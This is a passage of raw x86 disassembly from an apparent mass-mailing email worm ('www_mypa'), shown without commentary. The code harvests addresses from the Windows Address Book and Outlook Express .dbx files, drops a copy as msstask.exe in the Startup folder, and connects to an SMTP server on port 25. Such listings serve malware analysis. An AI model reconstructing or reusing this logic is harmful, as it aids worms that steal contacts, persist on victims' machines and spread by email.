BYTE PTR SS:[EBP-F0],39 0040173D 0F8E 68020000 JLE www_mypa.004019AB 00401743 8D85 10FFFFFF LEA EAX,DWORD PTR SS:[EBP-F0] 00401749 50 PUSH EAX 0040174A E8 51170000 CALL www_mypa.00402EA0 0040174F 59 POP ECX 00401750 8D8D 10FFFFFF LEA ECX,DWORD PTR SS:[EBP-F0] 00401756 49 DEC ECX 00401757 49 DEC ECX 00401758 803C08 40 CMP BYTE PTR DS:[EAX+ECX],40 0040175C 0F84 49020000 JE www_mypa.004019AB 00401762 8D85 10FFFFFF LEA EAX,DWORD PTR SS:[EBP-F0] 00401768 6A 2E PUSH 2E 0040176A 50 PUSH EAX 0040176B E8 70160000 CALL www_mypa.00402DE0 00401770 59 POP ECX 00401771 85C0 TEST EAX,EAX 00401773 59 POP ECX 00401774 0F84 31020000 JE www_mypa.004019AB 0040177A 8D85 10FFFFFF LEA EAX,DWORD PTR SS:[EBP-F0] 00401780 50 PUSH EAX 00401781 E8 1A170000 CALL www_mypa.00402EA0 00401786 59 POP ECX 00401787 8D8D 10FFFFFF LEA ECX,DWORD PTR SS:[EBP-F0] 0040178D 83E9 03 SUB ECX,3 00401790 803C08 40 CMP BYTE PTR DS:[EAX+ECX],40 00401794 0F84 11020000 JE www_mypa.004019AB 0040179A 8D85 10FFFFFF LEA EAX,DWORD PTR SS:[EBP-F0] 004017A0 50 PUSH EAX 004017A1 E8 FA160000 CALL www_mypa.00402EA0 004017A6 59 POP ECX 004017A7 8D8D 10FFFFFF LEA ECX,DWORD PTR SS:[EBP-F0] 004017AD 83E9 04 SUB ECX,4 004017B0 803C08 40 CMP BYTE PTR DS:[EAX+ECX],40 004017B4 0F84 F1010000 JE www_mypa.004019AB 004017BA 8D85 10FFFFFF LEA EAX,DWORD PTR SS:[EBP-F0] 004017C0 50 PUSH EAX 004017C1 E8 DA160000 CALL www_mypa.00402EA0 004017C6 59 POP ECX 004017C7 8D8D 10FFFFFF LEA ECX,DWORD PTR SS:[EBP-F0] 004017CD 83E9 05 SUB ECX,5 004017D0 803C08 40 CMP BYTE PTR DS:[EAX+ECX],40 004017D4 0F84 D1010000 JE www_mypa.004019AB 004017DA 8D85 10FFFFFF LEA EAX,DWORD PTR SS:[EBP-F0] 004017E0 68 90C94000 PUSH www_mypa.0040C990 ; ASCII "MAILER" 004017E5 50 PUSH EAX 004017E6 E8 350A0000 CALL www_mypa.00402220 004017EB 59 POP ECX 004017EC 85C0 TEST EAX,EAX 004017EE 59 POP ECX 004017EF 0F85 B6010000 JNZ www_mypa.004019AB 004017F5 8D85 10FFFFFF LEA EAX,DWORD PTR SS:[EBP-F0] 004017FB 50 PUSH EAX 004017FC E8 9F160000 CALL www_mypa.00402EA0 00401801 83F8 2C CMP EAX,2C 00401804 59 POP ECX 00401805 0F87 A0010000 JA www_mypa.004019AB 0040180B 8D85 10FFFFFF LEA EAX,DWORD PTR SS:[EBP-F0] 00401811 33DB XOR EBX,EBX 00401813 50 PUSH EAX 00401814 33F6 XOR ESI,ESI 00401816 E8 85160000 CALL www_mypa.00402EA0 0040181B 85C0 TEST EAX,EAX 0040181D 59 POP ECX 0040181E 76 4A JBE SHORT www_mypa.0040186A 00401820 8A8435 10FFFFFF MOV AL,BYTE PTR SS:[EBP+ESI-F0] 00401827 3C 30 CMP AL,30 00401829 7C 04 JL SHORT www_mypa.0040182F 0040182B 3C 39 CMP AL,39 0040182D 7E 20 JLE SHORT www_mypa.0040184F 0040182F 3C 61 CMP AL,61 00401831 7C 04 JL SHORT www_mypa.00401837 00401833 3C 7A CMP AL,7A 00401835 7E 18 JLE SHORT www_mypa.0040184F 00401837 3C 41 CMP AL,41 00401839 7C 04 JL SHORT www_mypa.0040183F 0040183B 3C 5A CMP AL,5A 0040183D 7E 10 JLE SHORT www_mypa.0040184F 0040183F 3C 40 CMP AL,40 00401841 74 0C JE SHORT www_mypa.0040184F 00401843 3C 2E CMP AL,2E 00401845 74 08 JE SHORT www_mypa.0040184F 00401847 3C 2D CMP AL,2D 00401849 74 04 JE SHORT www_mypa.0040184F 0040184B 3C 5F CMP AL,5F 0040184D 75 14 JNZ SHORT www_mypa.00401863 0040184F 8D85 10FFFFFF LEA EAX,DWORD PTR SS:[EBP-F0] 00401855 46 INC ESI 00401856 50 PUSH EAX 00401857 E8 44160000 CALL www_mypa.00402EA0 0040185C 3BF0 CMP ESI,EAX 0040185E 59 POP ECX 0040185F ^72 BF JB SHORT www_mypa.00401820 00401861 EB 07 JMP SHORT www_mypa.0040186A 00401863 C745 08 01000000 MOV DWORD PTR SS:[EBP+8],1 0040186A 8D85 10FFFFFF LEA EAX,DWORD PTR SS:[EBP-F0] 00401870 33F6 XOR ESI,ESI 00401872 50 PUSH EAX 00401873 33FF XOR EDI,EDI 00401875 E8 26160000 CALL www_mypa.00402EA0 0040187A 85C0 TEST EAX,EAX 0040187C 59 POP ECX 0040187D 76 30 JBE SHORT www_mypa.004018AF 0040187F 8A8435 10FFFFFF MOV AL,BYTE PTR SS:[EBP+ESI-F0] 00401886 3C 30 CMP AL,30 00401888 7C 0A JL SHORT www_mypa.00401894 0040188A 3C 39 CMP AL,39 0040188C 7F 06 JG SHORT www_mypa.00401894 0040188E 47 INC EDI 0040188F 83FF 05 CMP EDI,5 00401892 7F 14 JG SHORT www_mypa.004018A8 00401894 8D85 10FFFFFF LEA EAX,DWORD PTR SS:[EBP-F0] 0040189A 46 INC ESI 0040189B 50 PUSH EAX 0040189C E8 FF150000 CALL www_mypa.00402EA0 004018A1 3BF0 CMP ESI,EAX 004018A3 59 POP ECX 004018A4 ^72 D9 JB SHORT www_mypa.0040187F 004018A6 EB 07 JMP SHORT www_mypa.004018AF 004018A8 C745 08 01000000 MOV DWORD PTR SS:[EBP+8],1 004018AF 395D 08 CMP DWORD PTR SS:[EBP+8],EBX 004018B2 0F85 F3000000 JNZ www_mypa.004019AB 004018B8 33FF XOR EDI,EDI 004018BA 391D C4064100 CMP DWORD PTR DS:[4106C4],EBX 004018C0 76 2E JBE SHORT www_mypa.004018F0 004018C2 BE D0F94000 MOV ESI,www_mypa.0040F9D0 004018C7 8D85 10FFFFFF LEA EAX,DWORD PTR SS:[EBP-F0] 004018CD 50 PUSH EAX 004018CE FF36 PUSH DWORD PTR DS:[ESI] 004018D0 E8 BB7A0000 CALL www_mypa.00409390 004018D5 59 POP ECX 004018D6 85C0 TEST EAX,EAX 004018D8 59 POP ECX 004018D9 74 0E JE SHORT www_mypa.004018E9 004018DB 47 INC EDI 004018DC 83C6 04 ADD ESI,4 004018DF 3B3D C4064100 CMP EDI,DWORD PTR DS:[4106C4] 004018E5 ^72 E0 JB SHORT www_mypa.004018C7 004018E7 EB 07 JMP SHORT www_mypa.004018F0 004018E9 C745 EC 01000000 MOV DWORD PTR SS:[EBP-14],1 004018F0 391D C4064100 CMP DWORD PTR DS:[4106C4],EBX 004018F6 895D E4 MOV DWORD PTR SS:[EBP-1C],EBX 004018F9 76 6D JBE SHORT www_mypa.00401968 004018FB BF D0F94000 MOV EDI,www_mypa.0040F9D0 00401900 8D85 10FFFFFF LEA EAX,DWORD PTR SS:[EBP-F0] 00401906 50 PUSH EAX 00401907 E8 94150000 CALL www_mypa.00402EA0 0040190C 3C 0A CMP AL,0A 0040190E 59 POP ECX 0040190F 8845 08 MOV BYTE PTR SS:[EBP+8],AL 00401912 72 2F JB SHORT www_mypa.00401943 00401914 0FB6C0 MOVZX EAX,AL 00401917 8A9C05 0CFFFFFF MOV BL,BYTE PTR SS:[EBP+EAX-F4] 0040191E 80A405 0CFFFFFF >AND BYTE PTR SS:[EBP+EAX-F4],0 00401926 8DB405 0CFFFFFF LEA ESI,DWORD PTR SS:[EBP+EAX-F4] 0040192D 8D85 10FFFFFF LEA EAX,DWORD PTR SS:[EBP-F0] 00401933 50 PUSH EAX 00401934 FF37 PUSH DWORD PTR DS:[EDI] 00401936 E8 E5080000 CALL www_mypa.00402220 0040193B 59 POP ECX 0040193C 85C0 TEST EAX,EAX 0040193E 59 POP ECX 0040193F 75 15 JNZ SHORT www_mypa.00401956 00401941 881E MOV BYTE PTR DS:[ESI],BL 00401943 FF45 E4 INC DWORD PTR SS:[EBP-1C] 00401946 83C7 04 ADD EDI,4 00401949 8B45 E4 MOV EAX,DWORD PTR SS:[EBP-1C] 0040194C 3B05 C4064100 CMP EAX,DWORD PTR DS:[4106C4] 00401952 ^72 AC JB SHORT www_mypa.00401900 00401954 EB 12 JMP SHORT www_mypa.00401968 00401956 0FB645 08 MOVZX EAX,BYTE PTR SS:[EBP+8] 0040195A C745 EC 01000000 MOV DWORD PTR SS:[EBP-14],1 00401961 889C05 0CFFFFFF MOV BYTE PTR SS:[EBP+EAX-F4],BL 00401968 837D EC 00 CMP DWORD PTR SS:[EBP-14],0 0040196C 75 3D JNZ SHORT www_mypa.004019AB 0040196E 813D C4064100 F4>CMP DWORD PTR DS:[4106C4],1F4 00401978 73 31 JNB SHORT www_mypa.004019AB 0040197A 8B45 F4 MOV EAX,DWORD PTR SS:[EBP-C] 0040197D 40 INC EAX 0040197E 50 PUSH EAX 0040197F E8 7C0C0000 CALL www_mypa.00402600 00401984 59 POP ECX 00401985 8B0D C4064100 MOV ECX,DWORD PTR DS:[4106C4] 0040198B 85C0 TEST EAX,EAX 0040198D 89048D D0F94000 MOV DWORD PTR DS:[ECX*4+40F9D0],EAX 00401994 74 15 JE SHORT www_mypa.004019AB 00401996 FF05 C4064100 INC DWORD PTR DS:[4106C4] 0040199C 8D8D 10FFFFFF LEA ECX,DWORD PTR SS:[EBP-F0] 004019A2 51 PUSH ECX 004019A3 50 PUSH EAX 004019A4 E8 F7060000 CALL www_mypa.004020A0 004019A9 59 POP ECX 004019AA 59 POP ECX 004019AB FF45 F8 INC DWORD PTR SS:[EBP-8] 004019AE 8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8] 004019B1 3B45 E8 CMP EAX,DWORD PTR SS:[EBP-18] 004019B4 ^0F82 93FCFFFF JB www_mypa.0040164D 004019BA BB C8000000 MOV EBX,0C8 004019BF 395D E8 CMP DWORD PTR SS:[EBP-18],EBX 004019C2 895D F8 MOV DWORD PTR SS:[EBP-8],EBX 004019C5 0F86 79010000 JBE www_mypa.00401B44 004019CB 6A 64 PUSH 64 004019CD 58 POP EAX 004019CE 2B45 FC SUB EAX,DWORD PTR SS:[EBP-4] 004019D1 8945 F0 MOV DWORD PTR SS:[EBP-10],EAX 004019D4 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 004019D7 8D0C18 LEA ECX,DWORD PTR DS:[EAX+EBX] 004019DA 8A4418 FE MOV AL,BYTE PTR DS:[EAX+EBX-2] 004019DE 3C 61 CMP AL,61 004019E0 72 04 JB SHORT www_mypa.004019E6 004019E2 3C 7A CMP AL,7A 004019E4 76 10 JBE SHORT www_mypa.004019F6 004019E6 3C 41 CMP AL,41 004019E8 0F82 49010000 JB www_mypa.00401B37 004019EE 3C 5A CMP AL,5A 004019F0 0F87 41010000 JA www_mypa.00401B37 004019F6 8079 FF 00 CMP BYTE PTR DS:[ECX-1],0 004019FA 0F85 37010000 JNZ www_mypa.00401B37 00401A00 8039 40 CMP BYTE PTR DS:[ECX],40 00401A03 0F85 2E010000 JNZ www_mypa.00401B37 00401A09 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 00401A0C 807C03 01 00 CMP BYTE PTR DS:[EBX+EAX+1],0 00401A11 0F85 20010000 JNZ www_mypa.00401B37 00401A17 8BF0 MOV ESI,EAX 00401A19 8A441E 02 MOV AL,BYTE PTR DS:[ESI+EBX+2] 00401A1D 3C 61 CMP AL,61 00401A1F 72 04 JB SHORT www_mypa.00401A25 00401A21 3C 7A CMP AL,7A 00401A23 76 13 JBE SHORT www_mypa.00401A38 00401A25 3C 41 CMP AL,41 00401A27 0F82 0A010000 JB www_mypa.00401B37 00401A2D 3C 5A CMP AL,5A 00401A2F 0F87 02010000 JA www_mypa.00401B37 00401A35 8B75 FC MOV ESI,DWORD PTR SS:[EBP-4] 00401A38 8D53 9C LEA EDX,DWORD PTR DS:[EBX-64] 00401A3B 33FF XOR EDI,EDI 00401A3D 3BDA CMP EBX,EDX 00401A3F 897D 08 MOV DWORD PTR SS:[EBP+8],EDI 00401A42 8BC3 MOV EAX,EBX 00401A44 76 17 JBE SHORT www_mypa.00401A5D 00401A46 803C30 00 CMP BYTE PTR DS:[EAX+ESI],0 00401A4A 75 07 JNZ SHORT www_mypa.00401A53 00401A4C 807C30 01 00 CMP BYTE PTR DS:[EAX+ESI+1],0 00401A51 74 07 JE SHORT www_mypa.00401A5A 00401A53 48 DEC EAX 00401A54 3BC2 CMP EAX,EDX 00401A56 ^77 EE JA SHORT www_mypa.00401A46 00401A58 EB 03 JMP SHORT www_mypa.00401A5D 00401A5A 8D78 02 LEA EDI,DWORD PTR DS:[EAX+2] 00401A5D 8B55 F0 MOV EDX,DWORD PTR SS:[EBP-10] 00401A60 8BC3 MOV EAX,EBX 00401A62 03CA ADD ECX,EDX 00401A64 3BD9 CMP EBX,ECX 00401A66 73 18 JNB SHORT www_mypa.00401A80 00401A68 803C30 00 CMP BYTE PTR DS:[EAX+ESI],0 00401A6C 75 07 JNZ SHORT www_mypa.00401A75 00401A6E 807C30 01 00 CMP BYTE PTR DS:[EAX+ESI+1],0 00401A73 74 07 JE SHORT www_mypa.00401A7C 00401A75 40 INC EAX 00401A76 3BC1 CMP EAX,ECX 00401A78 ^72 EE JB SHORT www_mypa.00401A68 00401A7A EB 04 JMP SHORT www_mypa.00401A80 00401A7C 48 DEC EAX 00401A7D 8945 08 MOV DWORD PTR SS:[EBP+8],EAX 00401A80 85FF TEST EDI,EDI 00401A82 0F84 AF000000 JE www_mypa.00401B37 00401A88 837D 08 00 CMP DWORD PTR SS:[EBP+8],0 00401A8C 0F84 A5000000 JE www_mypa.00401B37 00401A92 33F6 XOR ESI,ESI 00401A94 3B7D 08 CMP EDI,DWORD PTR SS:[EBP+8] 00401A97 8975 F4 MOV DWORD PTR SS:[EBP-C],ESI 00401A9A 8BCF MOV ECX,EDI 00401A9C 77 18 JA SHORT www_mypa.00401AB6 00401A9E 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 00401AA1 8A0401 MOV AL,BYTE PTR DS:[ECX+EAX] 00401AA4 84C0 TEST AL,AL 00401AA6 74 08 JE SHORT www_mypa.00401AB0 00401AA8 888435 10FFFFFF MOV BYTE PTR SS:[EBP+ESI-F0],AL 00401AAF 46 INC ESI 00401AB0 41 INC ECX 00401AB1 3B4D 08 CMP ECX,DWORD PTR SS:[EBP+8] 00401AB4 ^76 E8 JBE SHORT www_mypa.00401A9E 00401AB6 80A435 10FFFFFF >AND BYTE PTR SS:[EBP+ESI-F0],0 00401ABE 33FF XOR EDI,EDI 00401AC0 393D C4064100 CMP DWORD PTR DS:[4106C4],EDI 00401AC6 76 2F JBE SHORT www_mypa.00401AF7 00401AC8 BB D0F94000 MOV EBX,www_mypa.0040F9D0 00401ACD 8D85 10FFFFFF LEA EAX,DWORD PTR SS:[EBP-F0] 00401AD3 50 PUSH EAX 00401AD4 FF33 PUSH DWORD PTR DS:[EBX] 00401AD6 E8 A50C0000 CALL www_mypa.00402780 00401ADB 59 POP ECX 00401ADC 85C0 TEST EAX,EAX 00401ADE 59 POP ECX 00401ADF 75 07 JNZ SHORT www_mypa.00401AE8 00401AE1 C745 F4 01000000 MOV DWORD PTR SS:[EBP-C],1 00401AE8 47 INC EDI 00401AE9 83C3 04 ADD EBX,4 00401AEC 3B3D C4064100 CMP EDI,DWORD PTR DS:[4106C4] 00401AF2 ^72 D9 JB SHORT www_mypa.00401ACD 00401AF4 8B5D F8 MOV EBX,DWORD PTR SS:[EBP-8] 00401AF7 837D F4 00 CMP DWORD PTR SS:[EBP-C],0 00401AFB 75 3A JNZ SHORT www_mypa.00401B37 00401AFD 813D C4064100 F4>CMP DWORD PTR DS:[4106C4],1F4 00401B07 73 2E JNB SHORT www_mypa.00401B37 00401B09 46 INC ESI 00401B0A 56 PUSH ESI 00401B0B E8 F00A0000 CALL www_mypa.00402600 00401B10 59 POP ECX 00401B11 8B0D C4064100 MOV ECX,DWORD PTR DS:[4106C4] 00401B17 85C0 TEST EAX,EAX 00401B19 89048D D0F94000 MOV DWORD PTR DS:[ECX*4+40F9D0],EAX 00401B20 74 15 JE SHORT www_mypa.00401B37 00401B22 FF05 C4064100 INC DWORD PTR DS:[4106C4] 00401B28 8D8D 10FFFFFF LEA ECX,DWORD PTR SS:[EBP-F0] 00401B2E 51 PUSH ECX 00401B2F 50 PUSH EAX 00401B30 E8 6B050000 CALL www_mypa.004020A0 00401B35 59 POP ECX 00401B36 59 POP ECX 00401B37 43 INC EBX 00401B38 3B5D E8 CMP EBX,DWORD PTR SS:[EBP-18] 00401B3B 895D F8 MOV DWORD PTR SS:[EBP-8],EBX 00401B3E ^0F82 90FEFFFF JB www_mypa.004019D4 00401B44 FF75 E0 PUSH DWORD PTR SS:[EBP-20] 00401B47 E8 54070000 CALL www_mypa.004022A0 00401B4C 59 POP ECX 00401B4D 5B POP EBX 00401B4E 5F POP EDI 00401B4F 5E POP ESI 00401B50 C9 LEAVE 00401B51 C3 RETN 00401B52 55 PUSH EBP 00401B53 8BEC MOV EBP,ESP 00401B55 81EC 2C010000 SUB ESP,12C 00401B5B 53 PUSH EBX 00401B5C 8B1D 94214100 MOV EBX,DWORD PTR DS:[412194] ; ADVAPI32.RegOpenKeyExA 00401B62 56 PUSH ESI 00401B63 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4] 00401B66 57 PUSH EDI 00401B67 BE 19000200 MOV ESI,20019 00401B6C 50 PUSH EAX 00401B6D 56 PUSH ESI 00401B6E 6A 00 PUSH 0 00401B70 68 0CCA4000 PUSH www_mypa.0040CA0C ; ASCII "Software\Microsoft\WAB\WAB4\Wab File Name" 00401B75 68 01000080 PUSH 80000001 00401B7A C745 F4 E8030000 MOV DWORD PTR SS:[EBP-C],3E8 00401B81 C745 EC 64000000 MOV DWORD PTR SS:[EBP-14],64 00401B88 C745 F8 01000000 MOV DWORD PTR SS:[EBP-8],1 00401B8F FFD3 CALL EBX 00401B91 85C0 TEST EAX,EAX 00401B93 BF A8014100 MOV EDI,www_mypa.004101A8 00401B98 75 2A JNZ SHORT www_mypa.00401BC4 00401B9A 8D45 F4 LEA EAX,DWORD PTR SS:[EBP-C] 00401B9D 50 PUSH EAX 00401B9E 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8] 00401BA1 57 PUSH EDI 00401BA2 50 PUSH EAX 00401BA3 6A 00 PUSH 0 00401BA5 68 C8064100 PUSH www_mypa.004106C8 00401BAA FF75 FC PUSH DWORD PTR SS:[EBP-4] 00401BAD FF15 98214100 CALL DWORD PTR DS:[412198] ; ADVAPI32.RegQueryValueExA 00401BB3 85C0 TEST EAX,EAX 00401BB5 0F85 63010000 JNZ www_mypa.00401D1E 00401BBB FF75 FC PUSH DWORD PTR SS:[EBP-4] 00401BBE FF15 9C214100 CALL DWORD PTR DS:[41219C] ; ADVAPI32.RegCloseKey 00401BC4 57 PUSH EDI 00401BC5 E8 E7F9FFFF CALL www_mypa.004015B1 00401BCA 59 POP ECX 00401BCB 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4] 00401BCE 50 PUSH EAX 00401BCF 56 PUSH ESI 00401BD0 6A 00 PUSH 0 00401BD2 68 00CA4000 PUSH www_mypa.0040CA00 ; ASCII "Identities" 00401BD7 68 01000080 PUSH 80000001 00401BDC FFD3 CALL EBX 00401BDE 85C0 TEST EAX,EAX 00401BE0 0F85 38010000 JNZ www_mypa.00401D1E 00401BE6 8D45 EC LEA EAX,DWORD PTR SS:[EBP-14] 00401BE9 BE 60064100 MOV ESI,www_mypa.00410660 00401BEE 50 PUSH EAX 00401BEF 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8] 00401BF2 56 PUSH ESI 00401BF3 50 PUSH EAX 00401BF4 6A 00 PUSH 0 00401BF6 68 F0C94000 PUSH www_mypa.0040C9F0 ; ASCII "Default User ID" 00401BFB FF75 FC PUSH DWORD PTR SS:[EBP-4] 00401BFE FF15 98214100 CALL DWORD PTR DS:[412198] ; ADVAPI32.RegQueryValueExA 00401C04 85C0 TEST EAX,EAX 00401C06 0F85 12010000 JNZ www_mypa.00401D1E 00401C0C FF75 FC PUSH DWORD PTR SS:[EBP-4] 00401C0F FF15 9C214100 CALL DWORD PTR DS:[41219C] ; ADVAPI32.RegCloseKey 00401C15 56 PUSH ESI 00401C16 BE 78F54000 MOV ESI,www_mypa.0040F578 00401C1B 68 B8C94000 PUSH www_mypa.0040C9B8 ; ASCII "Identities\%s\Software\Microsoft\Outlook Express\5.0" 00401C20 56 PUSH ESI 00401C21 E8 FA100000 CALL www_mypa.00402D20 00401C26 83C4 0C ADD ESP,0C 00401C29 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4] 00401C2C 50 PUSH EAX 00401C2D 68 19000200 PUSH 20019 00401C32 6A 00 PUSH 0 00401C34 56 PUSH ESI 00401C35 68 01000080 PUSH 80000001 00401C3A FFD3 CALL EBX 00401C3C 85C0 TEST EAX,EAX 00401C3E 75 4E JNZ SHORT www_mypa.00401C8E 00401C40 8D45 F4 LEA EAX,DWORD PTR SS:[EBP-C] 00401C43 8B1D 98214100 MOV EBX,DWORD PTR DS:[412198] ; ADVAPI32.RegQueryValueExA 00401C49 50 PUSH EAX 00401C4A 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8] 00401C4D 57 PUSH EDI 00401C4E 50 PUSH EAX 00401C4F 6A 00 PUSH 0 00401C51 68 ACC94000 PUSH www_mypa.0040C9AC ; ASCII "Store Root" 00401C56 FF75 FC PUSH DWORD PTR SS:[EBP-4] 00401C59 FFD3 CALL EBX 00401C5B 8D45 F4 LEA EAX,DWORD PTR SS:[EBP-C] 00401C5E 50 PUSH EAX 00401C5F 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8] 00401C62 57 PUSH EDI 00401C63 50 PUSH EAX 00401C64 6A 00 PUSH 0 00401C66 68 ACC94000 PUSH www_mypa.0040C9AC ; ASCII "Store Root" 00401C6B FF75 FC PUSH DWORD PTR SS:[EBP-4] 00401C6E FFD3 CALL EBX 00401C70 85C0 TEST EAX,EAX 00401C72 0F85 A6000000 JNZ www_mypa.00401D1E 00401C78 FF75 FC PUSH DWORD PTR SS:[EBP-4] 00401C7B FF15 9C214100 CALL DWORD PTR DS:[41219C] ; ADVAPI32.RegCloseKey 00401C81 68 E7030000 PUSH 3E7 00401C86 56 PUSH ESI 00401C87 57 PUSH EDI 00401C88 FF15 C4214100 CALL DWORD PTR DS:[4121C4] ; kernel32.ExpandEnvironmentStringsA 00401C8E 56 PUSH ESI 00401C8F E8 0C120000 CALL www_mypa.00402EA0 00401C94 80B8 77F54000 5C CMP BYTE PTR DS:[EAX+40F577],5C 00401C9B 59 POP ECX 00401C9C 74 0D JE SHORT www_mypa.00401CAB 00401C9E 68 A8C94000 PUSH www_mypa.0040C9A8 00401CA3 56 PUSH ESI 00401CA4 E8 07040000 CALL www_mypa.004020B0 00401CA9 59 POP ECX 00401CAA 59 POP ECX 00401CAB 56 PUSH ESI 00401CAC 57 PUSH EDI 00401CAD E8 EE030000 CALL www_mypa.004020A0 00401CB2 59 POP ECX 00401CB3 59 POP ECX 00401CB4 68 A0C94000 PUSH www_mypa.0040C9A0 ; ASCII "*.dbx" 00401CB9 56 PUSH ESI 00401CBA E8 F1030000 CALL www_mypa.004020B0 00401CBF 59 POP ECX 00401CC0 8D85 D4FEFFFF LEA EAX,DWORD PTR SS:[EBP-12C] 00401CC6 59 POP ECX 00401CC7 50 PUSH EAX 00401CC8 56 PUSH ESI 00401CC9 E8 52120000 CALL www_mypa.00402F20 00401CCE 59 POP ECX 00401CCF 83F8 FF CMP EAX,-1 00401CD2 59 POP ECX 00401CD3 8945 F0 MOV DWORD PTR SS:[EBP-10],EAX 00401CD6 74 46 JE SHORT www_mypa.00401D1E 00401CD8 8D85 E8FEFFFF LEA EAX,DWORD PTR SS:[EBP-118] 00401CDE BB 98C94000 MOV EBX,www_mypa.0040C998 ; ASCII "%s%s" 00401CE3 50 PUSH EAX 00401CE4 57 PUSH EDI 00401CE5 53 PUSH EBX 00401CE6 56 PUSH ESI 00401CE7 E8 34100000 CALL www_mypa.00402D20 00401CEC 83C4 10 ADD ESP,10 00401CEF 56 PUSH ESI 00401CF0 E8 BCF8FFFF CALL www_mypa.004015B1 00401CF5 59 POP ECX 00401CF6 8D85 D4FEFFFF LEA EAX,DWORD PTR SS:[EBP-12C] 00401CFC 50 PUSH EAX 00401CFD FF75 F0 PUSH DWORD PTR SS:[EBP-10] 00401D00 E8 4B130000 CALL www_mypa.00403050 00401D05 59 POP ECX 00401D06 85C0 TEST EAX,EAX 00401D08 59 POP ECX 00401D09 75 0A JNZ SHORT www_mypa.00401D15 00401D0B 8D85 E8FEFFFF LEA EAX,DWORD PTR SS:[EBP-118] 00401D11 50 PUSH EAX 00401D12 57 PUSH EDI 00401D13 ^EB D0 JMP SHORT www_mypa.00401CE5 00401D15 FF75 F0 PUSH DWORD PTR SS:[EBP-10] 00401D18 E8 53140000 CALL www_mypa.00403170 00401D1D 59 POP ECX 00401D1E 5F POP EDI 00401D1F 5E POP ESI 00401D20 5B POP EBX 00401D21 C9 LEAVE 00401D22 C3 RETN 00401D23 55 PUSH EBP 00401D24 8BEC MOV EBP,ESP 00401D26 81EC 04010000 SUB ESP,104 00401D2C 56 PUSH ESI 00401D2D 68 7CC84000 PUSH www_mypa.0040C87C ; ASCII "USERPROFILE" 00401D32 E8 59040000 CALL www_mypa.00402190 00401D37 59 POP ECX 00401D38 50 PUSH EAX 00401D39 8D85 FCFEFFFF LEA EAX,DWORD PTR SS:[EBP-104] 00401D3F 50 PUSH EAX 00401D40 E8 5B030000 CALL www_mypa.004020A0 00401D45 59 POP ECX 00401D46 8D85 FCFEFFFF LEA EAX,DWORD PTR SS:[EBP-104] 00401D4C 59 POP ECX 00401D4D 68 50C84000 PUSH www_mypa.0040C850 ; ASCII "\Start Menu\Programs\Startup\msstask.exe" 00401D52 50 PUSH EAX 00401D53 E8 58030000 CALL www_mypa.004020B0 00401D58 59 POP ECX 00401D59 8D85 FCFEFFFF LEA EAX,DWORD PTR SS:[EBP-104] 00401D5F 59 POP ECX 00401D60 68 D0C84000 PUSH www_mypa.0040C8D0 ; ASCII "wb" 00401D65 50 PUSH EAX 00401D66 E8 35070000 CALL www_mypa.004024A0 00401D6B 8BF0 MOV ESI,EAX 00401D6D 59 POP ECX 00401D6E 85F6 TEST ESI,ESI 00401D70 59 POP ECX 00401D71 74 1C JE SHORT www_mypa.00401D8F 00401D73 56 PUSH ESI 00401D74 68 00180000 PUSH 1800 00401D79 6A 01 PUSH 1 00401D7B 68 30B04000 PUSH www_mypa.0040B030 00401D80 E8 9B050000 CALL www_mypa.00402320 00401D85 83C4 10 ADD ESP,10 00401D88 56 PUSH ESI 00401D89 E8 12050000 CALL www_mypa.004022A0 00401D8E 59 POP ECX 00401D8F 5E POP ESI 00401D90 C9 LEAVE 00401D91 C3 RETN 00401D92 55 PUSH EBP 00401D93 8BEC MOV EBP,ESP 00401D95 81EC 8C050000 SUB ESP,58C 00401D9B 53 PUSH EBX 00401D9C 56 PUSH ESI 00401D9D 8D85 74FAFFFF LEA EAX,DWORD PTR SS:[EBP-58C] 00401DA3 57 PUSH EDI 00401DA4 50 PUSH EAX 00401DA5 68 01010000 PUSH 101 00401DAA E8 DF020000 CALL www_mypa.0040208E ; JMP to WS2_32.WSAStartup 00401DAF 85C0 TEST EAX,EAX 00401DB1 0F85 9C020000 JNZ www_mypa.00402053 00401DB7 33DB XOR EBX,EBX 00401DB9 53 PUSH EBX 00401DBA 6A 01 PUSH 1 00401DBC 6A 02 PUSH 2 00401DBE E8 C5020000 CALL www_mypa.00402088 ; JMP to WS2_32.socket 00401DC3 8BF8 MOV EDI,EAX 00401DC5 83FF FF CMP EDI,-1 00401DC8 897D FC MOV DWORD PTR SS:[EBP-4],EDI 00401DCB 0F84 2B020000 JE www_mypa.00401FFC 00401DD1 68 F8054100 PUSH www_mypa.004105F8 00401DD6 66:C745 EC 0200 MOV WORD PTR SS:[EBP-14],2 00401DDC E8 A1020000 CALL www_mypa.00402082 ; JMP to WS2_32.gethostbyname 00401DE1 3BC3 CMP EAX,EBX 00401DE3 0F84 0D020000 JE www_mypa.00401FF6 00401DE9 0FBF48 0A MOVSX ECX,WORD PTR DS:[EAX+A] 00401DED 8B40 0C MOV EAX,DWORD PTR DS:[EAX+C] 00401DF0 51 PUSH ECX 00401DF1 FF30 PUSH DWORD PTR DS:[EAX] 00401DF3 8D45 F0 LEA EAX,DWORD PTR SS:[EBP-10] 00401DF6 50 PUSH EAX 00401DF7 E8 24140000 CALL www_mypa.00403220 00401DFC 83C4 0C ADD ESP,0C 00401DFF 6A 19 PUSH 19 00401E01 E8 76020000 CALL www_mypa.0040207C ; JMP to WS2_32.ntohs 00401E06 66:8945 EE MOV WORD PTR SS:[EBP-12],AX 00401E0A 8D45 EC LEA EAX,DWORD PTR SS:[EBP-14] 00401E0D 6A 10 PUSH 10 00401E0F 50 PUSH EAX 00401E10 57 PUSH EDI 00401E11 E8 60020000 CALL www_mypa.00402076 ; JMP to WS2_32.connect 00401E16 83F8 FF CMP EAX,-1 00401E19 0F84 D7010000 JE www_mypa.00401FF6 00401E1F 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C] 00401E22 8B4D 10 MOV ECX,DWORD PTR SS:[EBP+10] 00401E25 3818 CMP BYTE PTR DS:[EAX],BL 00401E27 0F85 89010000 JNZ www_mypa.00401FB6 